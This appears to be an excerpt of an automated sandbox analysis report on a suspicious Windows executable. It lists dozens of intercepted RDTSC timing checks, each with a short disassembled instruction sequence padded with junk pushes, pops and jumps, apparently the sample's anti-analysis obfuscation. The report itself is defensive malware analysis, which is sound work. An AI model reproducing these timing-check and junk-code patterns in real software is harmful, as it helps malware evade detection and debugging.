Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A2F6A second address: 8A2F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB65109F892h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A2F86 second address: 8A2F8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A33CF second address: 8A33E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F88Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FB65109F886h 0x0000000f jnp 00007FB65109F886h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A36FB second address: 8A371A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB6510B03A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A371A second address: 8A3740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB65109F897h 0x00000009 jg 00007FB65109F886h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A3740 second address: 8A3744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A39F2 second address: 8A39F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A39F8 second address: 8A39FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A39FC second address: 8A3A0C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007FB65109F886h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A3A0C second address: 8A3A34 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 jmp 00007FB6510B03A5h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FB6510B0396h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A3A34 second address: 8A3A48 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB65109F886h 0x00000008 jo 00007FB65109F886h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A3D17 second address: 8A3D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A6CAE second address: 8A6CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A6CBF second address: 8A6CE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6510B039Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FB6510B03A2h 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FB6510B0396h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A6CE8 second address: 8A6CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A6CEC second address: 8A6CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A9593 second address: 8A9599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A9599 second address: 8A95B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB6510B0396h 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007FB6510B0396h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jnc 00007FB6510B0396h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8A90F8 second address: 8A9116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB65109F895h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AABE5 second address: 8AABF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FB6510B0396h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AABF1 second address: 8AAC07 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AAC07 second address: 8AAC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEAC9 second address: 8AEAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEAD0 second address: 8AEAD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEAD5 second address: 8AEADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEADF second address: 8AEB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB6510B03A9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEF66 second address: 8AEF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEF70 second address: 8AEF8F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FB6510B0396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FB6510B03A0h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEF8F second address: 8AEF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AEF95 second address: 8AEF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AF0E6 second address: 8AF0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AF0EC second address: 8AF10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FB6510B039Ch 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FB6510B0396h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AF10B second address: 8AF137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F88Fh 0x00000007 jmp 00007FB65109F893h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AF137 second address: 8AF141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB6510B0396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AF141 second address: 8AF145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8AF294 second address: 8AF298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B2392 second address: 8B23C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007FB65109F88Ch 0x0000000d jmp 00007FB65109F890h 0x00000012 jmp 00007FB65109F88Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B23C6 second address: 8B23CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B23CB second address: 8B23D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B82CC second address: 8B82F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007FB6510B0398h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f ja 00007FB6510B0396h 0x00000015 pushad 0x00000016 popad 0x00000017 je 00007FB6510B0396h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f popad 0x00000020 jmp 00007FB6510B039Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B6B66 second address: 8B6B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B6B6A second address: 8B6B9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007FB6510B039Dh 0x0000000e pop edi 0x0000000f jmp 00007FB6510B03A8h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B7015 second address: 8B7020 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007FB65109F886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 86392D second address: 863932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 863932 second address: 8639BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007FB65109F899h 0x00000010 pop esi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FB65109F888h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov edi, 3CAFC54Eh 0x00000031 mov ebx, dword ptr [ebp+1247EA33h] 0x00000037 push ebx 0x00000038 mov dword ptr [ebp+1245544Ch], eax 0x0000003e pop ecx 0x0000003f add eax, ebx 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007FB65109F888h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 0000001Bh 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b mov dword ptr [ebp+122D283Ah], esi 0x00000061 nop 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8639BD second address: 8639C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8639C1 second address: 8639C7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8639C7 second address: 8639CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8639CD second address: 8639DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8639DB second address: 8639E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B7445 second address: 8B745D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB65109F894h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B745D second address: 8B7487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB6510B039Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FB6510B039Ah 0x00000013 jo 00007FB6510B039Eh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B7603 second address: 8B7619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F88Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FB65109F886h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8B7FC3 second address: 8B7FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jno 00007FB6510B0396h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BE497 second address: 8BE49B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BE77D second address: 8BE781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BE781 second address: 8BE79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB65109F894h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BE79F second address: 8BE7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BEA60 second address: 8BEA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007FB65109F886h 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BED86 second address: 8BED8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BED8C second address: 8BED90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8BED90 second address: 8BED96 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C01C7 second address: 8C01D9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB65109F88Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C01D9 second address: 8C01E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007FB6510B0396h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C01E5 second address: 8C01F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C01F1 second address: 8C01F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C59EA second address: 8C5A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB65109F896h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C5A20 second address: 8C5A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C9855 second address: 8C985B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C985B second address: 8C985F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C985F second address: 8C9865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C89CA second address: 8C89E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6510B03A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C89E5 second address: 8C89FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB65109F886h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push edi 0x00000012 pop edi 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C89FB second address: 8C8A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C8A01 second address: 8C8A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB65109F895h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FB65109F88Eh 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C8BCA second address: 8C8BD2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C8EBA second address: 8C8EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C8EC0 second address: 8C8EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C8EC6 second address: 8C8ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C9116 second address: 8C9123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007FB6510B039Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C925E second address: 8C9272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007FB65109F88Ch 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C9272 second address: 8C928F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6510B03A4h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8C93E9 second address: 8C93F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D2CE3 second address: 8D2CF1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB6510B0396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D2CF1 second address: 8D2CFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D2CFF second address: 8D2D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D0DA5 second address: 8D0DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FB65109F886h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 8D0F46 second address: 8D0F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
